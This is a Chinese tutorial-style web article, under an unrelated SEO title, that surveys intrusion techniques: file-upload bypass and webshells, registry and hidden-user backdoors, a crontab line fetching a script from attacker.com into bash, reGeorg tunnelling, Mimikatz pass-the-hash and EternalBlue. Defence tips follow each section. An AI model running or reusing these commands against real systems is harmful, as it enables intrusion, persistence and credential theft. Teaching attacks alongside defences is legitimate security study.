当前位置：首页 > wzjs >正文

四川企业高端网站建设百度获客平台怎么收费的

wzjs 2025/9/8 8:58:00

四川企业高端网站建设,百度获客平台怎么收费的,网站关键词设置几个,关键词查询网站目录一、文件上传绕过与Webshell植入攻击原理与技术实现防御建议： 二、权限维持与后门隐藏技术 Windows系统后门 Linux系统后门防御建议： 三、内网横向渗透核心技术网络隧道搭建横向移动手法防御建议： 四、痕迹清除与反溯源…

一、文件上传绕过与Webshell植入

攻击原理与技术实现

防御建议：

二、权限维持与后门隐藏技术

Windows系统后门

Linux系统后门

防御建议：

三、内网横向渗透核心技术

网络隧道搭建

横向移动手法

防御建议：

四、痕迹清除与反溯源策略

日志清除技术

反溯源手段

防御建议：

总结

一、文件上传绕过与Webshell植入

攻击原理与技术实现

文件上传漏洞的本质在于服务端未对用户上传内容进行充分验证。攻击者常通过以下手法绕过防御：

扩展名欺骗：
- 双重扩展名（如shell.jpg.php）利用部分黑名单过滤逻辑漏洞；
- 空字节截断（%00）使服务端错误解析文件名（如test.php%00.jpg被识别为PHP文件）。
内容伪装：
- 修改HTTP请求的Content-Type为image/jpeg，绕过MIME类型检测；
- 图片马技术将恶意代码嵌入图片EXIF元数据，配合本地/远程文件包含漏洞触发执行。

实战案例：
攻击者通过上传.htaccess文件并配置AddType application/x-httpd-php .jpg，使所有JPG文件被解析为PHP脚本。通过Burp Suite拦截请求，修改文件名与内容，成功植入Webshell。

防御建议：

输入验证：采用白名单机制限制文件类型，而非依赖黑名单；
文件隔离：将上传目录设置为无执行权限，并通过CDN分发静态资源；
动态检测：使用沙箱分析文件行为，识别隐藏的恶意代码。

二、权限维持与后门隐藏技术

Windows系统后门

注册表自启动：
```
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Update" /t REG_SZ /d "C:\malware.exe"
```
此类后门在系统启动时自动加载，常配合进程注入技术实现隐蔽性。
隐藏用户创建：
```
net user admin$ P@ssw0rd! /add /hidden
```
带$符号的用户在命令行中不可见，但可通过注册表SAM项查询发现。

Linux系统后门

SSH密钥植入：
修改/etc/ssh/sshd_config，添加AuthorizedKeysFile /dev/shm/.ssh/keys指向攻击者公钥文件。
定时任务持久化：
```
echo "*/5 * * * * root curl http://attacker.com/shell.sh | bash" >> /etc/crontab
```
此类任务可实现定期反弹Shell或更新恶意负载。

防御建议：

日志监控：定期检查系统日志（如Windows事件日志、Linux的auth.log）中的异常进程启动记录；
权限最小化：限制用户对注册表和系统目录的写入权限。

三、内网横向渗透核心技术

网络隧道搭建

HTTP代理隧道：
使用reGeorg将流量封装在HTTP请求中，绕过防火墙检测：
```
python reGeorgSocksProxy.py -p 8080 -u http://target/tunnel.php
```
该工具支持多级跳板，适合穿透隔离网络。
多协议级联：
EW工具支持SOCKS5与ICMP隧道混合代理，通过ssocksd模块实现流量中转。

横向移动手法

Pass-the-Hash攻击：
利用Mimikatz提取内存中的NTLM哈希：
```
mimikatz.exe "sekurlsa::pth /user:admin /domain:corp /ntlm:<hash>"
```
结合Impacket的psexec.py直接执行远程命令。
漏洞利用：
针对未修复的MS17-010（永恒之蓝），使用Metasploit模块exploit/windows/smb/ms17_010_eternalblue获取系统权限。